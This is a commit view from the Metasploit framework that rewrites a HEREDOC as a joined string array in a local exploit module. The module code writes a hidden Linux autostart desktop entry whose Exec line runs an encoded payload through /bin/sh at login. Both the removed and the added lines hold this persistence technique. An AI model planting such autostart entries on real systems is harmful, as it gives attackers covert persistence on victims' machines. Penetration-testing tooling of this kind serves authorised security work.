Fix HEREDOC not always supported

GSoC/Meterpreter_Web_Console
Eliott Teissonniere 2018-07-15 16:13:42 +02:00 committed by Tim W
parent e82bde993f
commit fc234b09c2
1 changed files with 8 additions and 8 deletions

View File

@ -52,14 +52,14 @@ class MetasploitModule < Msf::Exploit::Local
print_status('Uploading autostart file')
cmd_exec("rm #{path}")
write_file(path, <<~HEREDOC
[Desktop Entry]
Type=Application
Name=#{name}
NoDisplay=true
Terminal=false
Exec=/bin/sh -c "#{payload.encoded}"
HEREDOC)
write_file(path, [
"[Desktop Entry]",
"Type=Application",
"Name=#{name}",
"NoDisplay=true",
"Terminal=false",
"Exec=/bin/sh -c \"#{payload.encoded}\""
].join("\n"))
end
end